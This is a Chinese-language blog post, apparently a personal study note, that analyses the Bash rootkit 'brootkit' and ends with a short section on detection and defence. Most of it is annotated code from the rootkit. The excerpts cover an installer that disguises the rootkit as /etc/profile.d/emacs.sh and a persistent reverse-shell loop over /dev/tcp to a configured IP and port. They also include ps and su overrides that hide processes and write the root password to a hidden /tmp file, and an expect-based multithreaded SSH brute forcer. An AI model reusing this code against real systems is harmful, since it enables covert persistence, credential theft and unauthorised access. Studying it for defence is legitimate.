{"id":2717,"date":"2016-06-13T11:21:09","date_gmt":"2016-06-13T03:21:09","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=2717"},"modified":"2016-06-13T11:21:09","modified_gmt":"2016-06-13T03:21:09","slug":"brootkit%e4%bb%a3%e7%a0%81%e5%ad%a6%e4%b9%a0%e5%92%8c%e5%8e%9f%e7%90%86%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/2717.html","title":{"rendered":"BROOTKIT\u4ee3\u7801\u5b66\u4e60\u548c\u539f\u7406\u5206\u6790"},"content":{"rendered":"

=Start=<\/p>\n

\u7f18\u7531\uff1a<\/h4>\n

\u5468\u672b\u95f2\u6765\u65e0\u4e8b\uff0c\u60f3\u627e\u70b9\u4e1c\u897f\u5b66\u4e60\u4e00\u4e0b\uff0c\u968f\u624b\u7ffb\u5230\u4e86\u4e4b\u524d\u770b\u5230\u7684\u4e00\u7bc7\u5173\u4e8ebrootkit<\/a>\u7684\u6587\u7ae0\uff0c\u77e5\u9053\u5b83\u662f\u7528Bash\u5199\u7684\u4e00\u4e2a\u540e\u95e8\u7a0b\u5e8f\uff0c\u521a\u597d\u6700\u8fd1\u5728\u505aBash\u76f8\u5173\u7684\u5de5\u4f5c\uff0c\u5c31\u60f3\u7740\u5b66\u4e60\u4e00\u4e0b\u8fd9\u65b9\u9762\u7684\u77e5\u8bc6\uff0c\u7a0d\u4f5c\u6574\u7406\u4e4b\u540e\u5c31\u6709\u4e86\u672c\u6587\u3002<\/p>\n

\u53e6\uff1a\u60f3\u597d\u597d\u770b\u770bbrootkit\u662f\u5982\u4f55\u5b9e\u73b0\u7684\u4e5f\u6e90\u4e8e\u4e00\u4f4d”\u9ad8\u624b”\u7684\u6307\u5bfc\uff1a\u6e17\u900f\u8fc7\u7a0b\u4e2d\u5c3d\u91cf\u4f7f\u7528\u7cfb\u7edf\u539f\u751f\/\u5df2\u6709\u7684\u529f\u80fd\u3001\u673a\u5236\uff0c\u4e0d\u8981\u5f15\u5165\u8fc7\u591a\u7684\u300c\u5916\u90e8\u7a0b\u5e8f\u300d\uff0c\u6bd4\u5982\u5728Windows\u65e9\u671f\u7cfb\u7edf\u4e0a\uff0c\u5c3d\u91cf\u4f7f\u7528vbs\uff1b\u5728Windows7\u53ca\u4ee5\u540e\uff0c\u5c3d\u91cf\u4f7f\u7528PowerShell\uff0c\u800c\u4e0d\u662f\u4e0a\u6765\u5c31\u62ff\u4e2aPython\u811a\u672c\u5728\u90a3\u8dd1\uff0c\u6709\u6ca1\u6709Python\u73af\u5883\u8fd8\u4e0d\u4e00\u5b9a\u5462\uff08\u5373\u4fbf\u6709Python\uff0c\u4e5f\u4e0d\u4e00\u5b9a\u6709\u76f8\u5e94\u7684\u6a21\u5757\uff09\uff1f\u5728Linux\u4e0b\uff0cbash\/sh\u5c31\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u5207\u5165\u70b9\uff0c\u4f46\u8fd9\u91cc\u8bf4\u7684\u4e5f\u6bd4\u8f83\u6d45\uff08\u6df1\u7684\u6211\u4e5f\u4e0d\u592a\u4f1a\u2026\u2026\uff09\uff0c\u4e0d\u8db3\u4e4b\u5904\u8fd8\u8bf7\u5927\u725b\u6307\u70b9\u3002<\/p>\n

\n

The quieter you become, the more you are able to hear.<\/p>\n<\/blockquote>\n

\u6b63\u6587\uff1a<\/h4>\n

0x01.\u7b80\u4ecb<\/h5>\n

\u8fd9\u90e8\u5206\u5185\u5bb9\u4e3b\u8981\u662f\u5bf9\u8be5\u9879\u76ee\u7684README.md\u7684\u7b80\u5355\u7ffb\u8bd1\uff1a<\/p>\n

\u8bbe\u8ba1\u601d\u8def\uff1a<\/h6>\n

\u5982\u679cBash\u53ef\u4ee5\u7528\u6765\u8bbe\u8ba1\u5b9e\u73b0rootkit\u68c0\u6d4b\u5de5\u5177(chkrootkit\/rkhunter)\uff0c\u90a3\u5b83\u540c\u6837\u53ef\u4ee5\u88ab\u7528\u6765\u5b9e\u73b0rootkit\u3002brootkit\u5c31\u662f\u7528Bash\u5b9e\u73b0\u7684\u8f7b\u91cf\u7ea7rootkit\u3002<\/p>\n

\u7279\u6027\uff1a<\/h6>\n

1. \u5bf9 \u7ba1\u7406\u5458 \u6216 \u4e3b\u673aIDS \u6709\u66f4\u597d\u7684\u9690\u85cf\u7279\u6027
\n2. \u76d7\u53d6root\u7528\u6237\u5bc6\u7801
\n3. \u9690\u85cf\u6587\u4ef6\u548c\u76ee\u5f55
\n4. \u9690\u85cf\u8fdb\u7a0b
\n5. \u9690\u85cf\u7f51\u7edc\u8fde\u63a5
\n6. \u53cd\u8fde\u540e\u95e8
\n7. \u591a\u7ebf\u7a0b\u7aef\u53e3\u626b\u63cf\u5668
\n8. HTTP\u4e0b\u8f7d\u529f\u80fd
\n9. \u591a\u7ebf\u7a0bSSH\u7206\u7834\u529f\u80fd<\/p>\n

\u76ee\u6807\u7cfb\u7edf\uff1a<\/h6>\n

1. centos
\n2. rhel
\n3. ubuntu
\n4. debian
\n5. fedora
\n6. freebsd<\/p>\n

\u5f85\u6dfb\u52a0\u7279\u6027\uff1a<\/h6>\n

1. \u76d7\u53d6\u901a\u8fc7sudo\u8f93\u5165\u7684\u5bc6\u7801<\/p>\n

\u5b89\u88c5\uff1a<\/h6>\n

1.\u9996\u5148\u7f16\u8f91 br.conf \u8fd9\u4e2a\u914d\u7f6e\u6587\u4ef6\uff0c\u8bbe\u7f6e\u8981\u9690\u85cf\u7684 \u7aef\u53e3\u3001\u6587\u4ef6\u3001\u8fdb\u7a0b \u5217\u8868\uff0c\u4ee5\u53ca\u8981\u53cd\u8fde\u5230\u7684IP\u548cPORT
\n2.\u8fd0\u884c .\/install.sh \u811a\u672c<\/p>\n

\u8865\u5145\u8bf4\u660e\uff1a<\/h6>\n

\u5bf9\u4e8eFreebsd\u7cfb\u7edf\u6765\u8bf4\uff0c\u56e0\u4e3a\u73b0\u4ee3\u7684freebsd\u7cfb\u7edf\u4e2d\uff0croot\u9ed8\u8ba4\u4f7f\u7528csh\uff0c\u5176\u5b83\u7684\u7528\u6237\u9ed8\u8ba4\u4f7f\u7528sh\uff0c\u6240\u4ee5\u6b64\u7248\u672c(v0.10)\u7684brootkit\u53ea\u80fd\u652f\u6301\u5230sh\u7684\u90a3\u90e8\u5206\u7279\u6027\u3002\u5728freebsd\u7cfb\u7edf\u4e0a\u7684\u5b89\u88c5\u65b9\u6cd5\u5982\u4e0b\uff1a<\/p>\n

1.\u9996\u5148\u7f16\u8f91 brsh.conf \u8fd9\u4e2a\u914d\u7f6e\u6587\u4ef6\u8bbe\u7f6e\u8981\u9690\u85cf\u7684 \u7aef\u53e3\u3001\u6587\u4ef6\u3001\u8fdb\u7a0b \u5217\u8868\uff0c\u4ee5\u53ca\u8981\u53cd\u8fde\u5230\u7684IP\u548cPORT
\n2.\u8fd0\u884c .\/brshinstall.sh \u811a\u672c<\/p>\n

0x02.\u4ee3\u7801\u7ed3\u6784<\/h5>\n
[root@localhost brootkit]# pwd\n\/root\/git_s\/brootkit\n[root@sec-fetcher brootkit]# tree .\n.\n\u251c\u2500\u2500 bashbd.sh  #\u8fdb\u884c\u53cd\u5411\u8fde\u63a5\u7684\u540e\u95e8\u7a0b\u5e8f\n\u251c\u2500\u2500 bashnc.sh\n\u251c\u2500\u2500 bashproxy.sh\n\u251c\u2500\u2500 bashtn.sh\n\u251c\u2500\u2500 brbomb.sh\n\u251c\u2500\u2500 br.conf  #\u914d\u7f6e\u6587\u4ef6\n\u251c\u2500\u2500 brconfig.sh  #\u89e3\u6790\u914d\u7f6e\u6587\u4ef6\n\u251c\u2500\u2500 brdaemon.sh\n\u251c\u2500\u2500 brget.sh  #\u5b9e\u73b0HTTP\u4e0b\u8f7d\u529f\u80fd\n\u251c\u2500\u2500 brootkit.sh  #\u5b9e\u73b0\u81ea\u6211\u9690\u85cf\n\u251c\u2500\u2500 brscan.sh    #\u591a\u7ebf\u7a0b\u7aef\u53e3\u626b\u63cf\u7a0b\u5e8f\n\u251c\u2500\u2500 brsh.conf\n\u251c\u2500\u2500 brshconfig.sh\n\u251c\u2500\u2500 brshinstall.sh  #freebsd\u7cfb\u7edf\u4e0b\u7684\u5b89\u88c5\u7a0b\u5e8f\n\u251c\u2500\u2500 brshrootkit.sh\n\u251c\u2500\u2500 cronbd.sh\n\u251c\u2500\u2500 install.sh  #Linux\u7cfb\u7edf\u4e0b\u7684\u5b89\u88c5\u7a0b\u5e8f\n\u251c\u2500\u2500 README.md\n\u251c\u2500\u2500 sshcrack.exp\n\u251c\u2500\u2500 sshcrack.sh  #\u591a\u7ebf\u7a0bSSH\u7206\u7834\u7a0b\u5e8f\n\u251c\u2500\u2500 ubd.sh\n\u2514\u2500\u2500 uninstall.sh\n\n0 directories, 22 files<\/pre>\n
0x03.\u4ee3\u7801\u8be6\u89e3<\/h5>\n
1.\u9996\u5148\u6765\u5206\u6790\u300cinstall.sh\u300d\u8fd9\u4e2a\u6587\u4ef6\uff1b<\/h6>\n
function main()\n{\n    br_check_os_type    #\u68c0\u67e5\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\n    br_check_shell      #\u68c0\u67e5\u4f7f\u7528\u4e86bash\/sh\u7684\u7528\u6237\u6709\u54ea\u4e9b\uff0c\u5982\u679c\u6ca1\u6709\u5219\u7acb\u5373\u9000\u51fa\n    br_check_privilege  #\u68c0\u67e5\u6267\u884c\u7528\u6237\u7684\u6743\u9650\n    br_set_rootkit_path #\u6839\u636e\u6267\u884c\u7528\u6237\u7684\u6743\u9650\u8bbe\u7f6e\u5b89\u88c5\u76ee\u5f55\n    br_creat_home       #\u5728\u5b89\u88c5\u76ee\u5f55\u4e2d\u5b58\u653e\u8981\u7528\u5230\u7684\u811a\u672c\n    br_install_backdoor #\u5728\u540e\u53f0\u8fd0\u884cbashbd.sh\u811a\u672c\u4ee5\u8fdb\u884c\u53cd\u5411\u8fde\u63a5\n\n    #\u6839\u636e\u68c0\u6d4b\u5230\u7684\u6267\u884c\u7528\u6237\u7684\u6743\u9650\u51b3\u5b9a\u662f\u5426\u6267\u884c\u4e0b\u97622\u6b65\n    if [ $br_privilege -eq 0 ]; then\n        #\u6839\u636e\u68c0\u6d4b\u5230\u7684\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\u6709\u9488\u5bf9\u6027\u7684\u5b89\u88c5\u5f00\u673a\u81ea\u542f\u811a\u672c(brdaemon.sh)\u4ee5\u8fdb\u884c\u6301\u4e45\u5316\u53cd\u5411\u8fde\u63a5\n        case $br_os_type in\n            1|2)\n                br_centos_install ;;\n            3)\n                br_ubuntu_install ;;\n            4)\n                br_debian_install ;;\n            5)\n                br_fedora_install ;;\n        esac\n        br_install_rootkit  #\u4f2a\u88c5brootkit.sh\u4e3a\/etc\/profile.d\/emacs.sh\n    fi\n\n    if [ $? -eq 1 ]; then\n        echo \"install brootkit failed.\"\n        exit\n    else\n        echo \"install brootkit successful.\"\n    fi\n}<\/pre>\n
2.\u7136\u540e\u67e5\u770b\u300cbashbd.sh\u300d\u6587\u4ef6\uff08\u5982\u4f55\u53cd\u5f39shell\uff09\uff1b<\/h6>\n
br_set_rootkit_path     #\u6839\u636e(\u6267\u884c)\u7528\u6237\u7684\u6743\u9650\u8bbe\u7f6eBR_ROOTKIT_PATH\u8def\u5f84\n. $BR_ROOTKIT_PATH\/brconfig.sh  #\u5728\u5f53\u524dshell\u4e2d\u52a0\u8f7d brconfig.sh \u7a0b\u5e8f\uff0c\u5f15\u5165 br_load_config \u51fd\u6570\nbr_load_config $BR_ROOTKIT_PATH\/br.conf #\u8c03\u7528 br_load_config \u51fd\u6570\u89e3\u6790 br.conf \u914d\u7f6e\u6587\u4ef6\nbr_connect_backdoor     #\u8c03\u7528 br_connect_backdoor \u51fd\u6570\u4ee5\u83b7\u53d6\u53cd\u5f39shell(\u6709Python\u7684\u7528Python\uff0c\u6ca1\u6709\u7684\u7528Bash)\n\nfunction br_connect_backdoor()\n{\n    #...\n\n    while [ 1 ]\n    do\n        #...\n        exec 9<> \/dev\/tcp\/$target_ip\/$target_port   #\u5c069\u53f7\u6587\u4ef6\u63cf\u8ff0\u7b26\u6253\u5f00\u5e76\u91cd\u5b9a\u5411\u5230\u5728\u914d\u7f6e\u6587\u4ef6\u4e2d\u8bbe\u5b9a\u7684IP\u548cPORT\n        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1  #\u68c0\u67e5\u4e0a\u4e00\u6b65\u64cd\u4f5c\u662f\u5426\u6210\u529f\u6267\u884c\uff0c\u5982\u679c\u5931\u8d25\u5219\u76f4\u63a5\u9000\u51fa\uff0c\u5426\u5219\u628a\u5f53\u524dshell\u7684\u6807\u51c6\u8f93\u5165\u548c\u6807\u51c6\u8f93\u51fa\u4ee5\u53ca\u51fa\u9519\u91cd\u5b9a\u5411\u5230\u6587\u4ef6\u63cf\u8ff0\u7b26\n        if type python >\/dev\/null;then\n            export MAX_ROW_NUM MAX_COL_NUM\n            python -c 'import pty; pty.spawn(\"\/bin\/bash\")'\n        else\n            \/bin\/bash --rcfile $BR_ROOTKIT_PATH\/.bdrc --noprofile -i\n        fi\n        }&\n        wait\n\n        sleep $((RANDOM%sleep_time+sleep_time))\n    done\n}<\/pre>\n
3.\u63a5\u4e0b\u6765\u770b\u300cbrootkit.sh\u300d\u6587\u4ef6\uff08\u5982\u4f55\u9690\u85cf\u8fdb\u7a0b\u3001\u7aef\u53e3\u548c\u6587\u4ef6\uff09\uff1b<\/h6>\n
#\"\u91cd\u8f7d\"ps\u547d\u4ee4\uff0c\u7136\u540e\u901a\u8fc7\u8fc7\u6ee4ps\u547d\u4ee4\u7684\u7ed3\u679c\u5b9e\u73b0\u300c\u9690\u85cf\u300d\u8fdb\u7a0b\nfunction ps()\n{\n    #...\n    proc_name=`\/bin\/ps $@`\n    for hide_proc in ${br_hide_proc[@]}\n    do\n        proc_name=`echo \"$proc_name\" | sed -e '\/'$hide_proc'\/d'`\n    done\n    echo \"$proc_name\"\n    #...\n}\n\n#\u300c\u9690\u85cf\u300d\u6587\u4ef6\u3001\u7aef\u53e3\u3001\u51fd\u6570\u7684\u539f\u7406\u540c\u4e0a\u2014\u2014\"\u91cd\u8f7d\"\u5bf9\u5e94\u7684\u547d\u4ee4(ls\/netstat\/type\/builtin\/...)\uff0c\u8fc7\u6ee4\u8f93\u51fa\u7ed3\u679c\n\n#\u76d7\u53d6root\u7528\u6237\u5bc6\u7801\nfunction su()\n{\n    #...\n    [ ! -f \/tmp\/... ] && `touch \/tmp\/... && chmod 777 \/tmp\/... >\/dev\/null 2>&1`\n\n    echo -ne \"Password:\\r\\033[?25l\"\n    read -t 30 -s pass\n    echo -ne \"\\033[K\\033[?25h\"\n\n    #\u76d7\u53d6root\u7528\u6237\u5bc6\u7801\u5e76\u8bb0\u5f55\u81f3\u6307\u5b9a\u6587\u4ef6\n    \/bin\/su && unset su && echo $pass >> \/tmp\/...\n}<\/pre>\n
\/\/\u4e0a\u9762\u7684\u4e09\u4e2a\u6587\u4ef6\u662f\u5b9e\u73b0rootkit\u7684\u6838\u5fc3(\u81ea\u6211\u9690\u85cf\u3001\u76d7\u53d6\u5bc6\u7801\u548c\u81ea\u52a8\u53cd\u8fde)\u6240\u5728\uff0c\u63a5\u4e0b\u6765\u770b\u770b\u4f5c\u8005\u63d0\u5230\u7684\u300cHTTP\u4e0b\u8f7d\u529f\u80fd\u300d\u3001\u300c\u591a\u7ebf\u7a0b\u7aef\u53e3\u626b\u63cf\u5668\u300d\u548c\u300c\u591a\u7ebf\u7a0bSSH\u7206\u7834\u529f\u80fd\u300d\u662f\u5982\u4f55\u5b9e\u73b0\u7684<\/p>\n
4.\u6765\u770b\u770b\u5982\u4f55\u7528\u539f\u751fBash\u5b9e\u73b0\u300cHTTP\u4e0b\u8f7d\u529f\u80fd\u300d\uff1b<\/h6>\n
function main()\n{\n    #...\n    parse_url $@    #\u89e3\u6790\u4f20\u5165\u53c2\u6570\u4e2d\u7684URL\n\n    file_init\n    display_start $1\n    socket_create $remote_host $remote_port #\u6839\u636e\u89e3\u6790\u7ed3\u679c\u521b\u5efasocket\u4ee5\u8fdb\u884c\u8fde\u63a5\n    br_send_request $remote_host $remote_port $remote_file  #\u53d1\u9001HTTP\u4e0b\u8f7d\u8bf7\u6c42\n    br_get_run      #\u6839\u636eHTTP\u72b6\u6001\u7801\u51b3\u5b9a\u5177\u4f53\u8c03\u7528\u7684\u65b9\u6cd5(\u76f4\u63a5\u4e0b\u8f7d\/\u8ddf\u968f\u8df3\u8f6c\u540e\u4e0b\u8f7d\/chunk\u4f20\u8f93\u4e0b\u8f7d)\n    display_finsh\n    socket_close    #\u5173\u95edsocket\n}<\/pre>\n
\u5728\u5b9e\u9645\u4f7f\u7528\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u4e86\u51e0\u4e2a\u5c0f\u95ee\u9898\uff1a<\/p>\n
    \n
  1. \u65e0\u6cd5\u8ddf\u8e2a”301″\u72b6\u6001\u7684\u8df3\u8f6c\uff1b<\/li>\n
  2. \u65e0\u6cd5\u8ddf\u8e2a\u591a\u6b21”302″\u8df3\u8f6c\uff1b<\/li>\n<\/ol>\n
    [root@localhost brootkit]# .\/brget.sh http:\/\/www.baidu.com\/img\/bd_logo1.png\n[root@localhost brootkit]# .\/brget.sh https:\/\/www.baidu.com\/img\/bd_logo1.png\n\n[root@localhost brootkit]# .\/brget.sh https:\/\/github.com\/cloudsec\/brootkit\/archive\/master.zip\n\n[root@localhost brootkit]# .\/brget.sh http:\/\/sourceforge.net\/projects\/strace\/files\/latest\/download?source=files\\ strace-4.12.tar.xz\n\n[root@localhost brootkit]# .\/brget.sh http:\/\/downloads.sourceforge.net\/project\/strace\/strace\/4.12\/strace-4.12.tar.xz\n\n[root@localhost brootkit]# .\/brget.sh http:\/\/ncu.dl.sourceforge.net\/project\/strace\/strace\/4.12\/strace-4.12.tar.xz<\/pre>\n
    \u8fd8\u6709\u5c31\u662f\uff0c\u65e0\u6cd5\u652f\u6301HTTPS\u8d44\u6e90\u7684\u4e0b\u8f7d\uff0c\u5bb9\u9519\u6027\u548c\u7a33\u5b9a\u6027\u4e0a\u9762\u548cwget\/curl\u8fd8\u6709\u8f83\u5927\u5dee\u8ddd\u3002\u4f46\u80fd\u7528\u7eafshell\u628a\u8fd9\u4e2aHTTP\u4e0b\u8f7d\u529f\u80fd\u7ed9\u5b9e\u73b0\uff0c\u4e5f\u771f\u7684\u662f\u4f53\u73b0\u4e86\u4f5c\u8005\u5bf9\u4e8eHTTP\u534f\u8bae\u7684\u6df1\u5165\u7406\u89e3\u4ee5\u53ca\u6df1\u539a\u7684shell\u7f16\u7a0b\u80fd\u529b\uff01<\/p>\n
    5.\u6765\u770b\u770b\u5b9e\u73b0\u300c\u591a\u7ebf\u7a0b\u7aef\u53e3\u626b\u63cf\u5668\u300d\u7684\u300cbrscan.sh\u300d\u6587\u4ef6\uff1b<\/h6>\n
    # \u811a\u672c\u7684\u4e3b\u4f53\u6d41\u7a0b\uff1a main -> br_scan_port -> thread_scan\n\n# $1 => remote host\n# $2 => remote port\n# $3 => thread_num\nfunction thread_scan()\n{\n    #...\n    for ((i = 0; i < $3; i++))\n    do\n        {\n        let \"sock_fd=$2+$i\"\n        let \"j=$2+$i+3\"\n        \/bin\/bash -c \"exec $j<> \/dev\/tcp\/$1\/${br_ports[$sock_fd]}\" 2>${br_ports[$sock_fd]}  #\u7528Bash\u8fdb\u884c\u7f51\u7edc\u8bf7\u6c42(\u7aef\u53e3\u626b\u63cf)\n        }&  #\u5c06\u547d\u4ee4\u653e\u5165\u540e\u53f0\u6267\u884c\uff0c\u4ee5\u8fbe\u5230\u300c\u591a\u7ebf\u7a0b\u300d\u7684\u6548\u679c\n        #...\n    done\n\n    sleep $br_timeout\n\n    exec 2>&-\n    #\u7b49\u5f85\u540e\u53f0\u6267\u884c\u7684\u626b\u63cf\u4efb\u52a1\u6b63\u5e38\u9000\u51faor\u6740\u6389\u8d85\u65f6\u4efb\u52a1\n    for pid in `jobs -p`\n    do\n        get_run_time $pid\n        run_time=$?\n        [ $run_time -eq 0 ] && continue\n        if [ $run_time -ge $br_timeout ]; then\n            kill -9 $pid >\/dev\/null 2>&1\n            rm -f \".scan\/$pid\"\n        fi\n    done\n\n    #...\n}<\/pre>\n
    6.\u6700\u540e\u518d\u6765\u770b\u770b\u300csshcrack.sh\u548csshcrack.exp\u300d\u6587\u4ef6\uff1b<\/h6>\n
    # \u7a0b\u5e8f\u6267\u884c\u7684\u4e3b\u4f53\u6d41\u7a0b\uff1a main -> sshcrack_engine -> do_sshcrack -> .\/sshcrack.exp\n\n# .\/sshcrack.sh\nfunction do_sshcrack()\n{\n    local ret x=$(($1+4)) y=1\n\n        .\/sshcrack.exp $3 $2 $4 $5 $6 >\/dev\/null\n        ret=$?\n        if [ $ret -eq 6 ];then\n                printf \"\\033[${x}:${y}H\\033[32;1mThread[%2d]\\t%s@%s\\t\\t==>\\t[%-16s]\\t[success]\\t%2d\\n\\033[0m\" $1 $2 $3 $4 $ret\n        kill -s SIGUSR2 $sshcrack_pid\n                return 0\n        else\n        if [ $sshcrack_debug -eq 1 ]; then\n                    printf \"\\033[${x}:${y}H\\033[32;1mThread[%2d]\\t%s@%s\\t\\t==>\\t[%-16s]\\t[failed]\\t%2d\\n\\033[0m\" $1 $2 $3 $4 $ret\n        fi\n        fi\n        return 1\n}\n\n# .\/sshcrack.sh\nspawn -noecho ssh -o ServerAliveInterval=2 -o ConnectTimeout=2 -t $USER@$IP $CMD\nexpect {\n    \"(yes\/no)\" { send \"yes\\r\"; exp_continue }\n    \"*assword:\" { send \"$PASSWD\\r\" }\n    \"Name or service not known\" { exit 8}\n    \"No route to host\" { exit 4 }\n    timeout { exit 5 }\n    eof { exit 0 }\n}\nexpect {\n        \"*assword:\" { exit 3 }\n        \"uid=\" { exit 6 }\n        eof { exit 7 }\n}<\/pre>\n
    0x04.\u539f\u7406\u5206\u6790<\/h5>\n
    1.\u5982\u4f55\u5b9e\u73b0\u6587\u4ef6\u3001\u8fdb\u7a0b\u3001\u7aef\u53e3\u7684\u9690\u85cf \u548c\u00a0\u76d7\u53d6root\u7528\u6237\u5bc6\u7801<\/h6>\n
    \u5728\u4e0a\u9762\u7684 install.sh \u5b89\u88c5\u7a0b\u5e8f\u4e2d\u6709\u4e00\u884c\u4ee3\u7801<\/a>\uff1a\u300ccp brootkit.sh \/etc\/profile.d\/emacs.sh\u300d\uff0c\u8fd9\u4e00\u884c\u4ee3\u7801\u7684\u4f5c\u7528\u5728\u4e8e\u2014\u2014\u4ee5\u540e\u6bcf\u6b21\u6253\u5f00\u4e00\u4e2a\u767b\u5f55shell\u7684\u65f6\u5019\u90fd\u4f1a\u52a0\u8f7d\u8fd9\u4e2a\u811a\u672c\uff08\u800c\u811a\u672c\u4e2d\u7684\u5185\u5bb9\u662f\u4e00\u4e9b\u548cbuiltin\u547d\u4ee4\u91cd\u540d\u7684\u81ea\u5b9a\u4e49function\uff09\uff0c\u4ece\u800c\u5b9e\u73b0Bash\u51fd\u6570”\u91cd\u8f7d”\uff0c\u8fc7\u6ee4\u6389\u76f8\u5173\u8f93\u51fa\u5185\u5bb9\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u8fbe\u5230\u81ea\u5b9a\u4e49\u9690\u85cf\u6587\u4ef6\u3001\u8fdb\u7a0b\u3001\u7aef\u53e3+\u76d7\u53d6root\u7528\u6237\u5bc6\u7801\u7684\u76ee\u7684\u3002\u300e\u8bf4\u660e\uff1a\u8fd9\u4e00\u884c\u4ee3\u7801\u9700\u8981\u5177\u6709sudo\/root\u6743\u9650\u624d\u4f1a\u6267\u884c\u300f<\/p>\n
    \u5728Bash\u4e2d\u547d\u4ee4\u7684\u6267\u884c\u9075\u5faa\u4e0b\u9762\u7684\u987a\u5e8f<\/strong><\/span>\uff1a<\/p>\n
    1. \u81ea\u5b9a\u4e49alias \uff1a alias su=”ls -l”
    \n2. \u81ea\u5b9a\u4e49function \uff1a function su { echo “Hello world”; }
    \n3. Bash\u5185\u7f6e\u547d\u4ee4builtin
    \n4. \u5916\u90e8\u7a0b\u5e8f(\u5728\u73af\u5883\u53d8\u91cfPATH\u4e2d\u8fdb\u884c\u67e5\u627e)<\/p>\n
    \u4f46\u662f\u7b80\u5355\u7684\u51fd\u6570”\u91cd\u8f7d”\u4f1a\u88abBash\u5185\u5efa\u7684\u300cbuiltin\/declare\/typeset\/type\/set\/command\u300d\u7b49\u547d\u4ee4\u8bc6\u522b\u51fa\u6765\uff0c\u6240\u4ee5\uff0c\u9664\u4e86\u7ed9ls\/ps\/netstat\u7b49\u547d\u4ee4\u91cd\u65b0\u5b9e\u73b0function\u4e4b\u5916\uff0c\u8fd8\u9700\u8981\u505a\u8fdb\u4e00\u6b65\u7684\u5904\u7406\u2014\u2014\u5c06\u8fd9\u4e9bbuiltin\u547d\u4ee4\u4e5f\u8fdb\u884c”\u91cd\u8f7d”\u3002\u8fd9\u6837\u5c31\u53ef\u4ee5\u5b9e\u73b0\u81ea\u5b9a\u4e49\u9690\u85cf\u6587\u4ef6\u3001\u8fdb\u7a0b\u3001\u7aef\u53e3+\u76d7\u53d6root\u7528\u6237\u5bc6\u7801\u7684\u529f\u80fd\u3002<\/p>\n
    2.\u5982\u4f55\u5b9e\u73b0\u53cd\u8fde\u540e\u95e8<\/h6>\n
    \u8fd9\u91cc\u4e3b\u8981\u662f\u5229\u7528\u4e86Linux\u7cfb\u7edf\u539f\u751f\u7684socket\u8bbe\u5907\u6587\u4ef6\/dev\/[tcp|udp]\/..\u6765\u5b9e\u73b0socket\u8fde\u63a5\u548csleep\u4fdd\u6301\uff1b\u5982\u679c\u8be5\u7cfb\u7edf\u4e0a\u6709\u66f4\u591a\u7684\u73af\u5883\uff0c\u4f60\u4e5f\u53ef\u4ee5\u53c2\u8003\u300cReverse Shell Cheat Sheet<\/a>\u300d\u8bd5\u8bd5\u4fee\u6539\u6210\u5176\u5b83\u7684\u53cd\u5f39shell\u7684\u65b9\u6cd5\u3002<\/p>\n
    0x05.\u9632\u5fa1\u7b56\u7565<\/h5>\n
    brootkit\u8fd9\u91cc\u4e3b\u8981\u7528\u5230\u4e86Bash\u548cLinux\u7cfb\u7edf\u81ea\u8eab\u63d0\u4f9b\u7684\u4e00\u4e9b\u7279\u6027\u8fbe\u5230\u4e86\u81ea\u6211\u9690\u85cf\u548c\u6301\u4e45\u5316\u53cd\u8fde\u7684\u6548\u679c\uff0c\u5982\u679c\u53ea\u662f\u5355\u7eaf\u5730\u901a\u8fc7\u5173\u952e\u5b57\u5339\u914d\/\u6587\u4ef6\u54c8\u5e0c\u503c\u6bd4\u5bf9\u7b49\u9759\u6001\u7684\u65b9\u6cd5\u5f88\u96be\u8fdb\u884c\u51c6\u786e\u7684\u68c0\u6d4b\uff1b<\/p>\n
    \u6240\u4ee5\u5efa\u8bae\u5c31\u662f\u2014\u2014\u4ece\u5f02\u5e38\u884c\u4e3a\u5165\u624b\u3002\u4e0d\u8be5\u505a\u7684\u4f60\u522b\u505a\uff0c\u4e0d\u8be5\u6709\u7684\u4f60\u522b\u6709\uff0c\u4e0d\u8be5\u8fde\u7684\u4f60\u522b\u8fde\u2026\u2026\uff1b\u5982\u679c\u505a\u4e86\uff0c\u4f60\u5c31\u662f\u53ef\u7591\u7684(\u5373\u4fbf\u4f60\u662f\u6b63\u5e38\u64cd\u4f5c)\uff0c\u5728\u7ecf\u8fc7\u4e86\u4e00\u6bb5\u65f6\u95f4\u7684\u8fd0\u7ef4\u4e4b\u540e\uff0c\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\u6b63\u5e38\u64cd\u4f5c\u7684\u767d\u540d\u5355\uff0c\u5269\u4e0b\u7684\u5982\u679c\u8fd8\u6709\uff0c\u90a3\u5c31\u975e\u5e38\u53ef\u7591\u4e86\u3002\uff08\u6ce8\uff1a\u8fd9\u4e00\u6bb5\u662f\u6211\u778e\u626f\u7684\uff0c\u6bd5\u7adf\u6ca1\u6709\u5b9e\u9645\u505a\u8fc7\u3002\u4f46\u5728\u7f51\u4e0a\u770b\u4e86\u4e00\u5806\u6587\u7ae0\u4e4b\u540e\uff0c\u6211\u4e5f\u5fcd\u4e0d\u4f4f\u8981\u5728\u8fd9\u91cc\u52a0\u4e0a\u51e0\u53e5\u300c\u5f02\u5e38\u884c\u4e3a\u68c0\u6d4b\u300d\u3001\u300c\u57fa\u4e8e\u6587\u4ef6\/\u884c\u4e3a\u7684\u767d\u540d\u5355\u300d\u4ee5\u63d0\u5347B\u683c \u0ca0\u0c6a\u0ca0\uff09<\/p>\n
    \u6700\u540e\u7684\u6700\u540e\uff0c\u5982\u679c\u673a\u5668\u88ab\u5165\u4fb5\u4e86\uff0c\u90a3\u5c31\uff1a<\/p>\n
    \n
    \u4e8b\u60c5\u7ed3\u4e86\u540e\uff0c\u80fd\u91cd\u88c5\u5c31\u91cd\u88c5\u5427\uff0c\u522b\u6298\u817e\u6e05\u7406\u4ec0\u4e48\u540e\u95e8\u4e86\u3002\u4fdd\u4e0d\u9f50\u5c31\u88ab\u5c31\u88ab\u4f60\u6ca1\u7559\u610f\u7684\u4e00\u4e2a\u5c0f\u7ec6\u8282\u6216\u8005\u4e0d\u77e5\u9053\u7684\u4e00\u4e2a\u7279\u6027\u7ed9\u5751\u4e86\u3002Focus\u76ee\u6807, \u52ff\u5fd8\u521d\u5fc3\u3002<\/p>\n<\/blockquote>\n
    \u53c2\u8003\u94fe\u63a5\uff1a<\/h4>\n